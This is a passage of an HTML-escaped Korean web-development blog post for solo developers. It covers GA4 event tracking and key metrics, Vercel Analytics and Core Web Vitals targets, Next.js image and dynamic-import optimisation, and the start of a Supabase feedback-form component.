&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; trackEvent &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/analytics&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;GenerateButton&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;handleClick&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;trackEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ai_generate_click&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; page&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;dashboard&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;// AI 생성 로직...&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;trackEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ai_generate_complete&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; duration&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2500&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button onClick&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;handleClick&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;AI&lt;/span&gt;로 생성하기&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;GA4에서 확인할 핵심 지표&lt;/h3&gt;
&lt;p&gt;1인 개발자가 꼭 봐야 할 지표입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;확인 위치&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;활성 사용자&lt;/td&gt;
&lt;td&gt;실제 서비스를 쓰는 사람 수&lt;/td&gt;
&lt;td&gt;홈 &gt; 개요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이벤트 수&lt;/td&gt;
&lt;td&gt;핵심 기능 사용 빈도&lt;/td&gt;
&lt;td&gt;참여도 &gt; 이벤트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;이탈률&lt;/td&gt;
&lt;td&gt;첫 페이지에서 바로 떠나는 비율&lt;/td&gt;
&lt;td&gt;참여도 &gt; 페이지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;사용자 획득&lt;/td&gt;
&lt;td&gt;어디서 유입되는지&lt;/td&gt;
&lt;td&gt;획득 &gt; 트래픽 소스&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;전환율&lt;/td&gt;
&lt;td&gt;핵심 목표 달성 비율&lt;/td&gt;
&lt;td&gt;구성 &gt; 전환&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;성능 모니터링 -- Vercel Analytics와 Core Web Vitals&lt;/h2&gt;
&lt;p&gt;서비스가 느리면 사용자는 떠납니다. 성능을 지속적으로 모니터링하고 개선해야 합니다.&lt;/p&gt;
&lt;h3&gt;Vercel Analytics 활성화&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Vercel Analytics 패키지 설치&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; @vercel/analytics&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// app/layout.tsx&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; Analytics &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@vercel/analytics/react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; SpeedInsights &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@vercel/speed-insights/next&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;RootLayout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  children&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  children&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; React&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ReactNode
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;html lang&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;ko&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;children&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Analytics &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;SpeedInsights &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;body&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;html&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Core Web Vitals 관리&lt;/h3&gt;
&lt;p&gt;Google이 정한 웹 성능 핵심 지표입니다. SEO에도 영향을 미치므로 반드시 관리해야 합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;지표&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;th&gt;목표값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;LCP (Largest Contentful Paint)&lt;/td&gt;
&lt;td&gt;가장 큰 콘텐츠가 보이기까지&lt;/td&gt;
&lt;td&gt;2.5초 이하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;INP (Interaction to Next Paint)&lt;/td&gt;
&lt;td&gt;사용자 입력에 반응하기까지&lt;/td&gt;
&lt;td&gt;200ms 이하&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CLS (Cumulative Layout Shift)&lt;/td&gt;
&lt;td&gt;레이아웃이 갑자기 움직이는 정도&lt;/td&gt;
&lt;td&gt;0.1 이하&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;성능 개선 체크리스트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 이미지 최적화 — next/image 사용&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; Image &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/image&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;HeroSection&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;Image
      src&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/hero.webp&quot;&lt;/span&gt;
      alt&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;히어로 이미지&quot;&lt;/span&gt;
      width&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      height&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;630&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      priority &lt;span class=&quot;token comment&quot;&gt;// LCP 대상 이미지에 priority 추가&lt;/span&gt;
      placeholder&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;blur&quot;&lt;/span&gt;
      blurDataURL&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;data:image/jpeg;base64,...&quot;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// 동적 임포트로 초기 로딩 최적화&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; dynamic &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/dynamic&quot;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// 무거운 컴포넌트는 필요할 때만 로드&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; HeavyChart &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;dynamic&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;@/components/HeavyChart&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token function-variable function&quot;&gt;loading&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;차트 로딩 중&lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  ssr&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;사용자 피드백 수집&lt;/h2&gt;
&lt;p&gt;데이터만으로는 알 수 없는 것들이 있습니다. 사용자의 직접적인 목소리를 듣는 것이 중요합니다.&lt;/p&gt;
&lt;h3&gt;간단한 피드백 폼 만들기&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// components/FeedbackWidget.tsx&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;use client&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; useState &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;react&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase/client&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;FeedbackWidget&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;isOpen&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; setIsOpen&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;feedback&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; setFeedback&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;type&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; setType&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token generic-function&quot;&gt;&lt;span class=&quot;token function&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;token generic class-name&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bug&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;feature&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;general&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;general&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;submitted&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; setSubmitted&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;useState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;handleSubmit&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; React&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;FormEvent&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;feedback&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      type&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      message&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; feedback&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      page&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;location&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      user_agent&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; navigator&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;userAgent&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      created_at&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;toISOString&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token function&quot;&gt;setSubmitted&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token function&quot;&gt;setIsOpen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token function&quot;&gt;setSubmitted&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;token function&quot;&gt;setFeedback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;isOpen&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;button
        onClick&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;setIsOpen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        className&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;fixed bottom-4 right-4 bg-blue-600 text-white px-4 py-2 rounded-full shadow-lg&quot;&lt;/span&gt;
      &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
        피드백 보내기
      &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;/&lt;/span&gt;button&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
